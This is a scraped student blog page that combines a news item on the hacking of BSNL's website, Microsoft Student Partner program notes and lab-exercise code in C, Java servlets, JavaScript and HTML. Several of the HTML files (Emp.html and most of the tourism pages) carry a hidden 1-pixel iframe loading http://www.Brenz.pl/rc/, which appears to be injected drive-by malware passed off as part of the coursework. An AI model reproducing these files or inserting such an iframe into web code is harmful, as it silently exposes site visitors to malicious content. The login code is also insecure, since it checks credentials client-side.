MeansOFminE |
- The Web site of Bharat Sanchar Nigam Ltd - bsnl.co.in - has been hacked by Pakistani
- Creation of SYMBOL TABLE using C
- Microsoft Student Partner (MSP) selection process is based on!!
- Microsoft Student Partner (MSP) India Program
- Employee Information System using JDBC and implementing the doGet() and doPost() method
- Java program to create Instant Messenger application for communication between multiple clients
- ONLINE PORTAL FOR DISTRIBUTED LIBRARY INFORMATION SYSTEM
- To create map using HTML
- Imagine Cup - IT Challenge, Round 1 Resource (2)
The Web site of Bharat Sanchar Nigam Ltd - bsnl.co.in - has been hacked by Pakistani Posted:
The Web site of Bharat Sanchar Nigam Ltd - bsnl.co.in - has been hacked. A message posted on the site, purportedly by a Pakistani hacker, said: "Hax3d by KhantastiC haXor - Bharat Sanchar Nigam Ltd – India's No. 1 Telecommunications Company. The hacker claimed in the message put out in the BSNL site, "You have been pwned by Pakistani hacker. This is not a joke or dream, this is f*****g reality, kids. This is now just a warning!! "Deleted Every Database!! Muwah <3…. Backup in my Pocket=p ohh I means in ma Flash Drive = D." The site has not been available since morning. About hacker!! A Google+ page of KhantastiC haXor purportedly of the hacker has not much info, but displays his 'KhanistiC haXor' name in bold. There are three persons in KhantastiC haXor's circles and two of them have him in their circles. Another site shows How BSNL's site was hacked, but we are not sure it is by KhantastiC haXor. BSNL reply: In a response, BSNL said "the Web site was hacked around 6 p.m. on October 26. It came to our notice today and has been restored as of 2 p.m. (October 27). Our Web site has general information such as BSNL tariffs. There is no customer data on the Web site so there is no question of any data being stolen or deleted. We will undertake security audit and also take suitable measures for hardening the Web site security." | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Creation of SYMBOL TABLE using C Posted: To write a C program to understand the working function of assembler in first pass creating symbol table where the tables are entered in the first pass along with the corresponding addresses. ALGORITHM: STEP 1: Start the program execution. STEP 2: Create a structure for opcode table and assign the values. STEP 3: Create a structure for symbol table and assign the values. STEP 4: Create a structure for intermediate code table and assign the values. STEP 5: Write the opcode in separate file and machine code in another separate file. STEP 6: Open the opcode file and compare it with the given machine code and then generate opcode for corresponding source code. STEP 7: Check the forward reference in intermediate code and print the corresponding jump statement address. STEP 8: Compare machine code with the opcode.If any jump statement with backward reference is present, then print backward reference address. STEP 9: For symbol table, print the symbol and address of the symbol. STEP 10: Stop the program execution. PROGRAM: #include<stdio.h> #include<conio.h> #include<stdlib.h> #include<string.h> struct table { char var[10]; int value; }; struct table tbl[20]; int i,j,n; void create(); void modify(); int search(char variable[],int n); void insert(); void display(); void main() { int ch,result=0; char v[10]; clrscr(); do { printf("Enter ur choice:\n1.Create\n2.Insert\n3.Modify\n4.Search\n5.Display\n6.Exit"); scanf("%d",&ch); switch(ch) { case 1: create(); break; case 2: insert(); break; case 3: modify(); break; case 4: printf("Enter the variabe to be searched\n"); scanf("%s",&v); result=search(v,n); if(result==0) printf("The variable does not belong to the table\n"); else printf("The location of variable is %d. The value of %s is %d", result,tbl[result].var,tbl[result].value); break; case 5: display(); break; case 6: exit(1); } } while(ch!=6); getch(); } void create() { printf("Enter the number of entries\n"); scanf("%d",&n); printf("Enter the variable and the value:\n"); for(i=1;i<=n;i++) { scanf("%s%d",tbl[i].var,&tbl[i].value); check: if(tbl[i].var[0]>='0' && tbl[i].var[0]<='9') { printf("The variable should start with an alphabet\nEnter the correct variable name\n"); scanf("%s%d",tbl[i].var,&tbl[i].value); goto check; } check1: for(j=1;j<1;j++) { if(strcmp(tbl[i].var,tbl[j].var)==0) { printf("The variable already exists.\nEnter another variable\n"); scanf("%s%d",tbl[i].var,&tbl[i].value); goto check1; } } } printf("The table after creation is\n"); display(); } void insert() { if(i>=20) printf("Cannotinsert. Table is full"); else { n++; printf("Enter the variable and value\n"); scanf("%s%d",tbl[n].var,&tbl[n].value); check: if(tbl[i].var[0]>='0' && tbl[i].var[0]<='9') { printf("The variable should start with alphabet\nEnter the correct variable name\n"); scanf("%s%d",tbl[i].var,&tbl[i].value); goto check; } check1: for(j=1;j<n;j++) { if(strcmp(tbl[j].var,tbl[i].var)==0) { printf("The variable already exist\nEnter another variable\n"); scanf("%s%d",tbl[i].var,&tbl[i].value); goto check1; } } printf("The table after insertion is\n"); display(); } } void modify() { char variable[10]; int result=0; printf("Enter the variable to be modified\n"); scanf("%s",&variable); result=search(variable,n); if(result==0) printf("%sdoes not belong to the table",variable); else { printf("The current value of the variable%s is %d, Enter the new variable and its value",tbl[result].var,tbl[result].value); scanf("%s%d",tbl[result].var,&tbl[result].value); check: if(tbl[i].var[0]>='0' && tbl[i].var[0] <= '9') { printf("The variable should start with alphabet\n Enter the correct variable name\n"); scanf("%s%d",tbl[i].var,&tbl[i].value); goto check; } } printf("The table after modification is\n"); display(); } int search(char variable[],int n) { int flag; for(i=1;i<=n;i++) { if(strcmp(tbl[i].var,variable)==0) { flag=1; break; } } if(flag==1) return i; else return 0; } void display() { printf("Variable\t value\n"); for(i=1;i<=n;i++) printf("%s\t\t%d\n",tbl[i].var,tbl[i].value); } OUTPUT: Enter ur choice: 1.Create 2.Insert 3.Modify 4.Search 5.Display 6.Exit 1 Enter the number of entries 2 Enter the variable and the value: A 26 B 42 The table after creation is Variable value A 26 B 42 Enter ur choice: 1.Create 2.Insert 3.Modify 4.Search 5.Display 6.Exit 2 Enter the variable and value D 10 The table after insertion is Variable value A 26 B 42 D 10 Enter ur choice: 1.Create 2.Insert 3.Modify 4.Search 5.Display 6.Exit 3 Enter the variable to be modified D The current value of the variableD is 10, Enter the new variable and its value C 20 The table after modification is Variable value A 26 B 42 C 20 Enter ur choice: 1.Create 2.Insert 3.Modify 4.Search 5.Display 6.Exit 4 Enter the variabe to be searched A The location of variable is 1. The value of A is 26 Enter ur choice: 1.Create 2.Insert 3.Modify 4.Search 5.Display 6.Exit 5 Variable value A 26 B 42 C 20 Enter ur choice: 1.Create 2.Insert 3.Modify 4.Search 5.Display 6.Exit | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Microsoft Student Partner (MSP) selection process is based on!! Posted: The results of the MSP selection process in India depends on a very complex combination of a number of factors: • Performance of candidates in various rounds. If a candidate does well in each round, better the chances. • Relative performance of a candidate in relation to other candidates from the same college, city, region etc. • Number of existing MSPs from a particular college, city, region etc. • Current Year of Course • Nature of Course • Academic performance • References So, your score in the first IT Challenge quiz is just one component of a much larger set of factors. | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Microsoft Student Partner (MSP) India Program Posted: Program Overview: The Microsoft Student Partner Program recognizes top young minds from around the world that are passionate about technology. It's a once in a lifetime opportunity to develop real-world skills to help you succeed in your future career, to help others learn about the technology of today and tomorrow, and to connect with other like-minded students, all whilst having a ton of fun along the way. The tenure is for 1 academic year and can be renewed by the MSP India Team if the MSP has acceptable performance and continues to meet the eligibility criteria. What is a Microsoft Student Partner?The 'ideal candidate' would be a passionate and enthusiast individual who wants to learn about new tools and technologies. You would need to have a whole range of skills including excellent time management, organization and communication skills to ensure that you could host successful campus events. An MSP should be comfortable and confident presenting in front of large audiences of both students and faculty members. General marketing skills come in very handy in order to allow you to articulate your ideas effectively when presenting. MSPs are social, friendly and approachable individuals who like to meet new people. You will require the ability work as a team as well as use your own initiative. In summary, MSPs are innovative and creative students who are extremely passionate about technology and who like to help others. MSP India Program 2011-2012 Academic Year Selection Process How to apply? The deadline for registering for the 2011-2012 Academic Year has elapsed. Results will be announced by 14th November 2011.
The main one-hour Quiz can then be taken online at http://www.imaginecup.com/Competition/mycompetitionportal.aspx?competitionId=65 at any of the following times:
Disclaimer: This is a voluntary program for students and does not involve any fees. It is neither a course nor an internship. Eligibility: To consider applying for the MSP Program, you must be:
Competencies: A good MSP is one who has the following basic qualities:
Community-building competencies:
Fundamental competencies:
Responsibilities: If you get selected as an MSP, here's an indication of some of your short term goals:
If you get selected as an MSP, here's an indication of some of your long term goals:
Benefits: As an MSP, a host of benefits are available:
Contact Us:
| |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Employee Information System using JDBC and implementing the doGet() and doPost() method Posted: Employee Information System using doGet( ) and doPost() Method AIM To create an Employee Information System using JDBC and implementing the doGet() and doPost() method. ALGORITHM Step 1: Start the program. Step 2: Create a Java Source file which creates an HttpServlet class called GetDeatils. Step 3: Initialize the servlet. Step 4: In the doGet() method, establish the connection with the DSN called emp. Step 5: After connection establishment, query the database and select all records in the emp table. Step 6: Create another Java Source file that creates an HttpServlet class called PostDeatils. Step 7: Initialize the servlet. Step 8: In the doPost() method, establish the connection with the DSN called emp. Step 9: Create an XHTML file called emp.html. Step 10: Invoke the GetDetails Class by clicking the GET button in the emp.html. Step 11: Display all records in the web browser. Step 12: Fill all the relevant employee information fields in emp.html file and click the POST button. Step 13: The POST button invokes the PostDetails class. Step 14: Insert a new record through by executing sql query and get record updated Step 15: Close ResultSet and database connection. Step 7: Stop the process. GetDetails.java import java.io.*; import java.sql.*; import javax.servlet.*; import javax.servlet.http.*; public class GetDetails extends HttpServlet { Connection con; PrintWriter out; ResultSet rs; public void init(ServletConfig config) throws ServletException { super.init(config); con=null; out=null; rs=null; } public void destroy() { try { con.close(); out.close(); rs.close(); } catch(SQLException se) { out.println(se.toString()); } } protected void processRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.setContentType("text/html"); PrintWriter out = response.getWriter(); out.close(); } protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { out=response.getWriter(); try{ Class.forName("sun.jdbc.odbc.JdbcOdbcDriver"); con=DriverManager.getConnection("jdbc:odbc:emp"); PreparedStatement pstmt=null; String query=null; query="select name,age,address,desig from emp"; pstmt=con.prepareStatement(query); rs=pstmt.executeQuery(); out.println("<b><center>Employee Details</center></b><br><br>"); out.println("<table align=center border=1 cellpadding=2>"); while(rs.next()) { out.println("<tr>"); out.println("<td>" + rs.getString("name") + "</td>"); out.println("<td>" + rs.getString("age") + "</td>"); out.println("<td>" + rs.getString("address") + "</td>"); out.println("<td>" + rs.getString("desig") + "</td>"); out.println("</tr>"); } out.println("</table>"); out.println("</body>"); } catch(Exception e){ out.println(e.toString()); } processRequest(request, response); } } PostDetails.java import java.io.*; import java.sql.*; import javax.servlet.*; import javax.servlet.http.*; public class PostDetails extends HttpServlet { Connection con; PrintWriter out; ResultSet rs; public void init(ServletConfig config) throws ServletException { super.init(config); con=null; out=null; rs=null; } public void destroy() { //con.close(); out.close(); // rs.close(); } protected void processRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.setContentType("text/html"); PrintWriter out = response.getWriter(); out.close(); } protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { out=response.getWriter(); String name=request.getParameter("name"); String age=request.getParameter("age"); String address=request.getParameter("address"); String desig=request.getParameter("desig"); String id=request.getParameter("id"); try { Class.forName("sun.jdbc.odbc.JdbcOdbcDriver"); con=DriverManager.getConnection("jdbc:odbc:emp"); PreparedStatement pst=null; String sql = "insert into emp values (?,?,?,?,?)"; pst = con.prepareStatement(sql); pst.setString(1, name); pst.setString(2, age); pst.setString(3, address); pst.setString(4, desig); pst.setString(5,id); pst.executeUpdate(); out.println(" Updated "); } catch(Exception e){ out.println(e.toString()); } processRequest(request,response); } } Emp.html <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Employment Information System</title> <h1 align=center>EMPLOYMENT INFORMATION SYSTEM<h1> </head> <body> <form action='EmployeeDetails' method="get"> <center> <label style='color:blue'>Click Here to View the Records:</label> <input type='submit' value='Get'> </center> </form> <iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe> <form action ='S' method='post'> <h1 align=center style='color:blue'> Enter the Employee Details Here!</h1> <table border='2' ALIGN=center> <tr> <td> <label style='color:green'>Name: </label></td><td><input type=text name='name'></td> </tr> <tr> <td> <label>Age:</label></td><td><input type=text name='age'></td> </tr> <tr> <td><label>Address :</label></td><td><input type=text name='address'></td> </tr> <tr> <td><label>Designation:</label></td><td><input type=text name='desig'></td> </tr> <tr> <td> <label>ID Number:</label> </td><td><input type=text name='id'></td> </tr> <tr> <td><label>Click Here to Update the Records:</label><input type =submit method =post value='post' size='70' style='color:red'> </td> </tr> </tabel> </form> </body> </html> | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Java program to create Instant Messenger application for communication between multiple clients Posted: INSTANT MESSENGER AIM To write a java program for creating Instant Messenger application for communication between multiple clients. ALGORITHM Step 1: Start the process. Step 2: Create the client module as class Client by extending thread class. Step 3: Create the Server module as class Server for accepting connection from clients. Step 4: Create ClientThread class in Server module to make 10 clients to communuicate. Step 5: Start the Server. Step 6: After Server is ready, then run the clients to communicate with each other. Step 6: Terminate the clients and Server respectively. Step 7: Stop the process. Source Code Client.java import java.io.*; import java.net.*; public class Client implements Runnable { static Socket socket=null; static PrintStream output; static BufferedReader input=null; static BufferedReader userip=null; static boolean flag=false; public static void main(String[] args) { int port=1234; String host="localhost"; try { socket=new Socket(host,port); userip=new BufferedReader(new InputStreamReader(System.in)); output=new PrintStream(socket.getOutputStream()); input=new BufferedReader(new InputStreamReader(socket.getInputStream())); } catch(Exception e) { System.err.println("Unknown host"+host); } if(socket!=null) { try { new Thread(new Client()).start(); while(!flag) { output.println(userip.readLine()); } output.close(); input.close(); socket.close(); } catch(Exception e1) { System.err.println("IOException"+e1); } } } public void run() { String msg; try { while((msg=input.readLine())!=null) System.out.println(msg); flag=true; } catch(IOException e) { System.err.println("IOException" + e); } } } Server.java import java.io.*; import java.net.*; public class Server { static ServerSocket server=null; static Socket socket=null; static ClientThread th[]=new ClientThread[10]; public static void main(String args[]) { int port=1234; System.out.println("Server started..."); System.out.println(" [Press Ctrl C to terminate ]"); try { server=new ServerSocket (port); } catch(IOException e) { System.out.println("Exception for Input/Output"); } while(true) { try { socket=server.accept(); for(int i=0;i<=9;i++) { if(th[i]==null) { (th[i]=new ClientThread(socket,th)).start(); break; } } } catch(IOException e) { System.out.println("Exception for Input/Output"); } } } } class ClientThread extends Thread { BufferedReader input=null; PrintStream output=null; Socket socket=null; ClientThread th[]; public ClientThread(Socket socket,ClientThread[] th) { this.socket=socket; this.th=th; } public void run() { String msg; String username; try { input = new BufferedReader(new InputStreamReader(socket.getInputStream())); output = new PrintStream(socket.getOutputStream()); output.println("What is your Name?Enter it-"); username = input.readLine(); output.println(username + ":Welcome to chat room."); output.println("To leave chat room type $$"); for (int i = 0; i <= 9; i++) if (th[i] != null && th[i] != this) th[i].output.println("------------A new user arrived in chat Room:" + username); while (true) { msg = input.readLine(); if (msg.startsWith("$$")) break; for (int i = 0; i <= 9; i++) if (th[i] != null) th[i].output.println("<" + username + ">" + msg); } for (int k = 0; k <= 9; k++) if (th[k] != null && th[k] != this) th[k].output.println("------A user Leaving chat Room:" + username + "--------"); output.println("Press Ctrl C to return to prompt---"); for (int j = 0; j <= 9; j++) if (th[j] == this) th[j] = null; input.close(); output.close(); socket.close(); } catch (IOException e) { System.out.println("Exception for Input/Output"); } } } | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ONLINE PORTAL FOR DISTRIBUTED LIBRARY INFORMATION SYSTEM Posted: ONLINE PORTAL FOR DISTRIBUTED LIBRARY INFORMATION SYSTEM AIM: To create a online portal for distributed library information system using Java Script. ALGORITHM: STEP 1: Start the process. STEP 2: Design the index.html code for checking the authorized user. STEP 3: Design the books.html code and access through the index.html code. STEP 4: Enter book name, author name, publication and edition details in the relevant text boxes and click the search button. STEP 5: Display all the records which matches the above data. STEP 6: Stop the process. Index.html <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta content="text/html; charset=utf-8" http-equiv="Content-Type"> <title>Online Library Portal</title> <script type="text/javascript" > function login() { var con = new ActiveXObject("ADODB.Connection") con.Open("Provider=Microsoft.Jet.OLEDB.4.0;Data Source=D:/library.mdb") var rs = new ActiveXObject("ADODB.Recordset") rs.Open("select * from users",con) while(!rs.EOF) {alert(rs('id')) if(rs('nam')==document.getElementById('unam').value&&rs('pass')==document.getElementById('pass').value) { rs.close() con.close() window.navigate('books.html') } rs.movenext } err.innerText='Wrong Credentials' rs.close() con.close() } </script> </head> <body> <form id="log"> <table align="center" > <tr><td>Username</td><td> <input type="text" id="unam" style="width: 130px"> </td></tr> <tr><td style="height: 53px">Password</td> <td style="height: 53px"> <input type="password" id="pass" style="width: 130px"></td> <td style="width: 103px; height: 53px;"> <label id="err"></label> </td></tr> <tr><td></td> <td style="text-align:center "> <input type="button" value="Log In" style="width: 70px; height: 26px" onclick="login()"> </td></tr> </table> </form> </body> </html> Books.html <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta content="text/html; charset=utf-8" http-equiv="Content-Type"> <title>Online Library Portal</title> <script type="text/javascript"> function sear() { var con = new ActiveXObject("ADODB.Connection") con.Open("Provider=Microsoft.Jet.OLEDB.4.0;Data Source=D:/library.mdb") var rs = new ActiveXObject("ADODB.Recordset") rs.Open("select * from books",con) var ta='<table align=\'center\' width=\'80%\' border=\'1\'><tr><th>Book</th><th>Author</th><th>Publisher</th><th>Edition</th></tr>' while(!rs.EOF) { if(rs('nam')==document.getElementById('book').value&&rs('author')==document.getElementById('auth').value&&rs('publisher')==document.getElementById('pub').value&&rs('edi')==document.getElementById('edi').value) { ta+='<tr><td><a href="books/'+rs('id')+'.pdf">'+rs('nam')+'</a></td><td>'+rs('author')+'</td><td>'+rs('publisher')+'</td><td>'+rs('edi')+'</td></tr>' } rs.movenext } rs.movefirst while(!rs.EOF) { if(rs('nam')==document.getElementById('book').value&&rs('author')==document.getElementById('auth').value&&rs('publisher')==document.getElementById('pub').value&&rs('edi')!=document.getElementById('edi').value) { ta+='<tr><td><a href="books/'+rs('id')+'.pdf">'+rs('nam')+'</a></td><td>'+rs('author')+'</td><td>'+rs('publisher')+'</td><td>'+rs('edi')+'</td></tr>' } rs.movenext } rs.movefirst while(!rs.EOF) { if(rs('nam')==document.getElementById('book').value&&rs('author')==document.getElementById('auth').value&&rs('publisher')!=document.getElementById('pub').value&&rs('edi')!=document.getElementById('edi').value) { ta+='<tr><td><a href="books/'+rs('id')+'.pdf">'+rs('nam')+'</a></td><td>'+rs('author')+'</td><td>'+rs('publisher')+'</td><td>'+rs('edi')+'</td></tr>' } rs.movenext } rs.movefirst while(!rs.EOF) { if(rs('nam')==document.getElementById('book').value&&rs('author')!=document.getElementById('auth').value&&rs('publisher')!=document.getElementById('pub').value&&rs('edi')!=document.getElementById('edi').value) { ta+='<tr><td><a href="books/'+rs('id')+'.pdf">'+rs('nam')+'</a></td><td>'+rs('author')+'</td><td>'+rs('publisher')+'</td><td>'+rs('edi')+'</td></tr>' } rs.movenext } rs.movefirst while(!rs.EOF) { if(rs('nam')!=document.getElementById('book').value&&rs('author')==document.getElementById('auth').value&&rs('publisher')!=document.getElementById('pub').value&&rs('edi')!=document.getElementById('edi').value) { ta+='<tr><td><a href="books/'+rs('id')+'.pdf">'+rs('nam')+'</a></td><td>'+rs('author')+'</td><td>'+rs('publisher')+'</td><td>'+rs('edi')+'</td></tr>' } rs.movenext } rs.movefirst while(!rs.EOF) { if(rs('nam')!=document.getElementById('book').value&&rs('author')!=document.getElementById('auth').value&&rs('publisher')==document.getElementById('pub').value&&rs('edi')!=document.getElementById('edi').value) { ta+='<tr><td><a href="books/'+rs('id')+'.pdf">'+rs('nam')+'</a></td><td>'+rs('author')+'</td><td>'+rs('publisher')+'</td><td>'+rs('edi')+'</td></tr>' } rs.movenext } rs.movefirst while(!rs.EOF) { if(rs('nam')!=document.getElementById('book').value&&rs('author')!=document.getElementById('auth').value&&rs('publisher')!=document.getElementById('pub').value&&rs('edi')==document.getElementById('edi').value) { ta+='<tr><td><a href="books/'+rs('id')+'.pdf">'+rs('nam')+'</a></td><td>'+rs('author')+'</td><td>'+rs('publisher')+'</td><td>'+rs('edi')+'</td></tr>' } rs.movenext } ta+='</table>' result.innerHTML=ta rs.close() con.close() } </script> </head> <body> <form id="search"> <table align="center" > <tr><td>Book</td> <td><input type="text" id="book" style="width: 200px"> </td> </tr> <tr> <td> Author</td><td> <input type="text" id="auth" style="width: 200px"> </td></tr> <tr><td>Publisher</td> <td><input type="text" id="pub" style="width: 200px"> </td> </tr> <tr><td>Edition</td> <td><input type="text" id="edi" style="width: 200px"> </td></tr> <tr><td></td> <td style="text-align:center "> <input type="button" id="search" value="Search" onclick="sear()"> </td></tr> </table> </form> <div id="result"> </div> </body> </html> | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Posted: TOURISM INFORMATION SYSTEM AIM: To create a web application for tourism information system using HTML. ALGORITHM Step1: Start the process. Step2: Load an image in the page. Step3: Define the map area in the loaded image. Step4: Show the hot spots in the page. Step5: Display the details of the hot spot in the page. Step6: Stop the process. CODING: home.html: <html> <Title>Namakkal Tourism Information System</title> <h1 align=center> WELCOME TO NAMAKKAL </H1> <body bgcolor=wheat> <p><CENTER><img src="file:///D:/Documents and Settings/STUDENT/Desktop/namakkal.gif" width="593" height="406" border="0"> <p><strong><a href= "main.html"> Visit the Places</a></strong></p> <iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe> </body> </html> main.html: <html> <h1 align=center> WELCOME TO NAMAKKAL</H1> <Title>Namakkal Tourism Information System</title> <body background="namakkals.gif"> <p><CENTER><img src="file:///D:/Documents and Settings/STUDENT/Desktop/map_namakkal.gif" width="593" height="406" border="0" usemap="#map"> <map name="map"></CENTER> <area shape="circle" coords="195,175,20" href="tiruchengode.html"> <area shape="circle" coords="342,230,20" href="namakkal.html"> <area shape="circle" coords="120,148,20" href="palayam.html"> <area shape="circle" coords="470,185,20" href="kolli.html"> <area shape="circle" coords="378,119,20" href="rasipuram.html"> <area shape="circle" coords="268,130,20" href="mal.html"> </map> </p> <p><strong><center>CLICK THE MOUSE TO SELECT THE PLACE</strong></p></center> <iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe> </body> </html> Kolli.html: <html> <head> <title>KOLLI HILLS</title> </head><body bgcolor="white"> <p align="center"><strong>WELCOME TO KOLLI HILLS</strong></p> <p>SOME OF THE TOURIST PLACES IN KOLLI HILLS ARE</p> <p >1.Hill temple</p> <p>2.FIve Falls</p> <p>3.Child park</p> <p>4.Flower park</p> <a href="main.html">Back to Home Page</a> <iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe> </body> </html> Rasipuram.html: <html> <head> <title>RASIPURAM</title> </head><body bgcolor="white"> <p align="center"><strong>WELCOME TO RASIPURAM</strong></p> <p>SOME OF THE TOURIST PLACES IN RASIPUIRAM ARE</p> <p align>1.MUTHAYAMMAL institutions</p> <p align>2.Railway gate</p> <p align>3.PAAVAI institituions</p> <a href="main.html">Back to Home Page</a> <iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe> </body> </html> mal.html: <html> <head> <title>MALLASAMUTHIRAM</title> </head><body bgcolor="orange"> <p align="center"><strong>WELCOME TO MALLASAMUTHIRAM</strong></p> <p>SOME OF THE TOURIST PLACES IN MALLASAMUTHIRAM 